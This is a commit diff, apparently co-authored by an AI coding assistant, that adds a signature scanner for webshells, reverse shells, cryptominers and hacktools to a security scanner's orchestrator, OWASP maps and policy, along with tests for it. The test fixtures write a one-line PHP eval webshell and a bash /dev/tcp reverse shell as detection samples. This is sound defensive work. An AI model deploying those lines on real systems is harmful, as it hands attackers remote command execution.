feat(llm-security): wire SIG scanner into orchestrator and policy

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01V3s6WnubSSrFjAQTLQdVbG

scanners/lib/policy-loader.mjs

@@ -83,6 +83,12 @@ const DEFAULT_POLICY = Object.freeze({
       'run', 'do', 'go', 'help', 'fix', 'use', 'get', 'set', 'all', 'any', 'it', 'this', 'that',
     ],
   },
+  // SIG — known-bad-identity signature engine. Toggle families or point at a
+  // custom ruleset via policy.json.
+  sig: {
+    enabled_families: ['webshell', 'reverse_shell', 'cryptominer', 'hacktool'],
+    custom_rules_path: null,
+  },
 });
 
 // Cache loaded policy per project root

scanners/lib/severity.mjs

@@ -144,6 +144,7 @@ export const OWASP_MAP = Object.freeze({
   PST: ['LLM01', 'LLM06'],
   WFL: ['LLM02', 'LLM06'],
   TRG: ['LLM06'],
+  SIG: ['LLM03', 'LLM02'],
 });
 
 /**
@@ -164,6 +165,7 @@ export const OWASP_AGENTIC_MAP = Object.freeze({
   PST: ['ASI02', 'ASI03', 'ASI04', 'ASI05'],
   WFL: ['ASI04'],
   TRG: [],
+  SIG: ['ASI04'],
 });
 
 /**
@@ -184,6 +186,7 @@ export const OWASP_SKILLS_MAP = Object.freeze({
   PST: ['AST01', 'AST03'],
   WFL: [],
   TRG: ['AST04'],
+  SIG: [],
 });
 
 /**
@@ -204,6 +207,7 @@ export const OWASP_MCP_MAP = Object.freeze({
   PST: ['MCP02', 'MCP07'],
   WFL: [],
   TRG: [],
+  SIG: [],
 });
 
 /**

scanners/scan-orchestrator.mjs

@@ -110,6 +110,7 @@ import { scan as supplyChainScan } from './supply-chain-recheck.mjs';
 import { scan as workflowScan } from './workflow-scanner.mjs';
 import { scan as tfaScan } from './toxic-flow-analyzer.mjs';
 import { scan as trgScan } from './trigger-scanner.mjs';
+import { scan as sigScan } from './signature-scanner.mjs';
 
 const SCANNERS = [
   { name: 'unicode',       fn: unicodeScan },
@@ -123,6 +124,7 @@ const SCANNERS = [
   { name: 'supply-chain',  fn: supplyChainScan },
   { name: 'workflow',      fn: workflowScan },
   { name: 'trg',           fn: trgScan },
+  { name: 'sig',           fn: sigScan },
   { name: 'toxic-flow',    fn: tfaScan, requiresPriorResults: true },
 ];
 

tests/scanners/signature-scanner.test.mjs

@@ -8,7 +8,7 @@ import { describe, it, beforeEach } from 'node:test';
 import assert from 'node:assert/strict';
 import { resolve, join } from 'node:path';
 import { fileURLToPath } from 'node:url';
-import { mkdtempSync, mkdirSync, writeFileSync, rmSync } from 'node:fs';
+import { mkdtempSync, mkdirSync, writeFileSync, rmSync, readFileSync } from 'node:fs';
 import { tmpdir } from 'node:os';
 import { resetCounter } from '../../scanners/lib/output.mjs';
 import { discoverFiles } from '../../scanners/lib/file-discovery.mjs';
@@ -124,3 +124,54 @@ describe('signature-scanner: path exclusions', () => {
     }
   });
 });
+
+// ---------------------------------------------------------------------------
+// Wiring — OWASP map + orchestrator registration (Step 4)
+// ---------------------------------------------------------------------------
+
+describe('signature-scanner: OWASP map registration', () => {
+  it('SIG is present in all four OWASP maps with the right codes', async () => {
+    const { OWASP_MAP, OWASP_AGENTIC_MAP, OWASP_SKILLS_MAP, OWASP_MCP_MAP } =
+      await import('../../scanners/lib/severity.mjs');
+    assert.deepEqual(OWASP_MAP.SIG, ['LLM03', 'LLM02']);
+    assert.deepEqual(OWASP_AGENTIC_MAP.SIG, ['ASI04']);
+    assert.deepEqual(OWASP_SKILLS_MAP.SIG, []);
+    assert.deepEqual(OWASP_MCP_MAP.SIG, []);
+  });
+});
+
+describe('signature-scanner: orchestrator registration', () => {
+  it('scan-orchestrator imports and lists the SIG scanner', () => {
+    const orchPath = resolve(__dirname, '../../scanners/scan-orchestrator.mjs');
+    const text = readFileSync(orchPath, 'utf8');
+    assert.match(text, /import\s+\{\s*scan as sigScan\s*\}\s+from\s+['"]\.\/signature-scanner\.mjs['"]/);
+    assert.match(text, /\{\s*name:\s*'sig',\s*fn:\s*sigScan\s*\}/);
+  });
+});
+
+// ---------------------------------------------------------------------------
+// Policy — disabling a family suppresses only that family's findings (Step 4)
+// ---------------------------------------------------------------------------
+
+describe('signature-scanner: family disable', () => {
+  it('disabling "webshell" suppresses webshell findings but keeps reverse_shell', async () => {
+    const dir = mkdtempSync(join(tmpdir(), 'sig-family-'));
+    try {
+      mkdirSync(join(dir, '.llm-security'), { recursive: true });
+      writeFileSync(
+        join(dir, '.llm-security', 'policy.json'),
+        JSON.stringify({ sig: { enabled_families: ['reverse_shell'] } }),
+      );
+      writeFileSync(join(dir, 'shell.php'), "<?php @eval($_POST['cmd']); ?>\n");
+      writeFileSync(join(dir, 'rev.sh'), '#!/bin/sh\nbash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n');
+      resetCounter();
+      const discovery = await discoverFiles(dir);
+      const result = await scan(dir, discovery);
+      const families = result.findings.map(f => f.evidence);
+      assert.ok(!families.some(e => /\[webshell\]/.test(e)), `webshell family should be suppressed, got: ${families.join('; ')}`);
+      assert.ok(families.some(e => /\[reverse_shell\]/.test(e)), `reverse_shell should still fire, got: ${families.join('; ')}`);
+    } finally {
+      rmSync(dir, { recursive: true, force: true });
+    }
+  });
+});